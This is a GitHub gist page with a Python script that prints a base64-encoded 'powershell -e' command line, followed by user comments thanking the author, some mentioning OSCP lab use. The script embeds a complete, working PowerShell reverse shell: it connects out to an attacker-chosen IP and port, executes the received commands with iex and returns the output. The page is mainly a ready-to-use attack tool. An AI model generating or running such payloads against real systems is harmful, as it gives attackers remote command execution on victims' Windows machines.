Skip to content

Instantly share code, notes, and snippets.

@tothi
Created February 17, 2019 00:05
Show Gist options
  • Star 67 You must be signed in to star a gist
  • Fork 34 You must be signed in to fork a gist
  • Save tothi/ab288fb523a4b32b51a53e542d40fe58 to your computer and use it in GitHub Desktop.
Save tothi/ab288fb523a4b32b51a53e542d40fe58 to your computer and use it in GitHub Desktop.
reverse PowerShell cmdline payload generator (base64 encoded)
#!/usr/bin/env python3
#
# generate reverse powershell cmdline with base64 encoded args
#
import sys
import base64
def help():
print("USAGE: %s IP PORT" % sys.argv[0])
print("Returns reverse shell PowerShell base64 encoded cmdline payload connecting to IP:PORT")
exit()
try:
(ip, port) = (sys.argv[1], int(sys.argv[2]))
except:
help()
# payload from Nikhil Mittal @samratashok
# https://gist.github.com/egre55/c058744a4240af6515eb32b2d33fbed3
payload = '$client = New-Object System.Net.Sockets.TCPClient("%s",%d);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
payload = payload % (ip, port)
cmdline = "powershell -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmdline)
@chvancooten
Copy link

Simple but very effective script if formatting/escaping is an issue! Thanks :)

@0xtavi
Copy link

0xtavi commented Mar 24, 2020

Awesome script!

@tothi
Copy link
Author

tothi commented Mar 26, 2020

thx ;)

@erezhazan1
Copy link

This is great! it helped me a lot!

@legndery
Copy link

The only rev shell i needed for OSCP windows boxes! <3

@moonshiry
Copy link

This helped me greatly, thank you the escaping was annoying me

@C3ald
Copy link

C3ald commented May 26, 2023

Certified goat!

@Painbow
Copy link

Painbow commented May 28, 2023

Thank you very much, revshells.com seems to encode the entire command including "powershell", this is very convenient and helpful

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment